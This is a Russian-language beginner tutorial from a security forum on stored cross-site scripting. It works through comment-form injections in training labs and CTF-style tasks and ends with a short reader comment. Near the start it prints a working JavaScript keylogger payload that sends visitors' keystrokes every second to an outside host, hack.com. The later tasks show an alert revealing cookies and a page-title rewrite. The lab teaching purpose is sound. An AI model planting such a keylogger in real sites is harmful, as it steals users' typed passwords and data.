Статья Stored XSS. Часть 2

Приветствую, "ковычкатыкатели" , в первой части мы мельком прошлись по таким темам, как 1. Что такое xss? 2. Reflected XSS. В это статье поговорим про Stored XSS.
Примечание: Серия статей рассчитана на полных новичков. Поэтому разбираются самые простые примеры и используются самые простые пэйлоуды.

Что такое Stored XSS?

Stored XSS возникает, когда веб-приложение без проверки включает данные в свои последующие HTTP-ответы и сохраняет, к примеру, в базе данных. Представим блог какого-нибудь программиста, под каждой статьей можно оставить комментарий, но т.к. наш программист пишет на php не очень умный, он забыл сделать фильтрацию комментов. Мы, как хакеры, пентестеры, у которых программист заказал пентест, пробуем найти XSS-ку, видим, что у нас есть такая красивая форма для комментов и ПИХАЕМ ТУДА КЕЙЛОГЕР
JavaScript:
var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  keys = '';
}, 1000);
и теперь все, кто будут заходить на этот сайт, будут попадаться на кейлогер.

Ну ладно, что мы тут фантазируем, давайте сами попихаем пейлоды в формы. Будем пробовать на лабе от -

1. Изначально видим простую страницу блога с разными статьями. Нам нужна форма ввода, ищем...

1618150547744.png


2. На странице поста мы можем увидеть, что у нас есть форма для комментария

1618150634068.png


3. Из условия задачи, мы узнаем, что нам нужно вывести

1618150773798.png


4. Получаем подтверждение, что наш комментарий успешно отправился.

1618150821480.png


5. Лаба уже решена, но давайте попробуем вернуться на страницу

1618150848120.png


Получаем alert в лицо.


Но что-то это все слишком легко, мы просто тыкаем JS скрипт и все, даже без кавычек. Давайте попробуем решить что-то посложнее - ТЫК
Регаемся и получаем вот такую страницу

1618152372208.png


1 Задание. Нам нужно посмотреть, сможем ли мы вставить свой html код в комменты. Пробуем <i>qwe</i>

1618152471304.png


И успешно получаем флаг.

2 Задание. Вызвать alert с куками. Ну го пробовать

1618152601491.png


Ой, +кука.

3 Задание. Нам нужно поменять "XSS Playground" на "I am a hacker"

1618152640936.png


Используем такой "пейлоад":
JavaScript:
document.querySelector('#thm-title').textContent = 'I am a hacker'
Для тех, кто не знает JavaScript (а надо бы), объясняю, что мы тут делаем. Используя document.querySelector() получаем объект с id = thm-title, при помощи функции .textContent меняем текст заголовка.

1618153054509.png


Повторюсь, статьи для полных новичков, поэтому обсуждаются самые простые темы. Более продвинутые темы будут дальше ( Если автор не забьет )
 

mrtyrel

Green Team
01.12.2018
80
45
BIT
0
Такое себе в самом начале мог пример уязвимого кода показать лучше обьяснить на что обращать внимание и как эксплойтить сторед хсс
 
  • Нравится
Реакции: GonZzoO
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!